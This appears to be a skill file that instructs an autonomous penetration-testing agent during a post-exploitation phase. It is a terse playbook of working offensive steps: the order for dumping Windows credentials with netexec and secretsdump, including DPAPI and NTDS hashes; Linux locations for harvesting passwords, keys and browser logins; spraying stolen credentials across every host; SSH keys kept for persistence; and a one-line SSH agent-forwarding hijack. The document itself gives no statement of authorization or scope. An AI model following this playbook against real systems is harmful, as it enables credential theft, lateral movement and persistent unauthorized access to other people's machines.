version: "1.0.0" name: post-exploit-phase tags: [post_exploit] description: Post-exploitation gotchas — credential dump order, DPAPI trap, host exhaustion checklist. Use when the current phase is POST_EXPLOIT.

Post-Exploitation — What You'll Get Wrong

Credential dump ORDER matters (Windows)

Run ALL three, in this order — each extracts different secrets:

1. --sam — local account hashes
2. --lsa — service passwords, cached domain creds, DPAPI system keys
3. --dpapi — browser passwords, vault, cookies, Credential Manager

On Domain Controllers add --ntds for all domain hashes. Fallback: secretsdump.py DOMAIN/USER:PASS@HOST (SAM+LSA+NTDS in one shot).

DPAPI trap

netexec smb HOST -u USER -p PASS --dpapi with NO subcommands = full dump. Adding subcommands (cookies, nosystem, wifi) LIMITS output. Always bare --dpapi first.

Host Exhaustion — do NOT skip any host

Before a host is "done", ALL of these must be attempted:

• Privesc check (sudo -l / whoami /priv / SUID / kernel version)
• Credentials dumped (SAM+LSA+DPAPI on Windows, shadow/keys/history/configs on Linux)
• Found creds sprayed across ALL known hosts+services
• Network config enumerated (arp, routes, internal DNS) — may reveal hidden subnets
• Internal services discovered (ss -tlnp / netstat) — ports not visible externally
• Stored creds checked (autologon, cmdkey, env vars, browser profiles)

Linux credential locations you'll miss

• /home/*/.bash_history — often contains passwords in commands
• App configs: .env, *.conf, *.cfg, *.ini — DB passwords, API keys
• SSH keys: ~/.ssh/ (private keys AND authorized_keys for persistence)
• Browser profiles: ~/.mozilla/firefox/*/logins.json, ~/.config/google-chrome/*/Login Data

SSH agent forwarding hijack

If another user has agent forwarding enabled: find /tmp -name "agent.*" → SSH_AUTH_SOCK=/tmp/agent.XXXX ssh target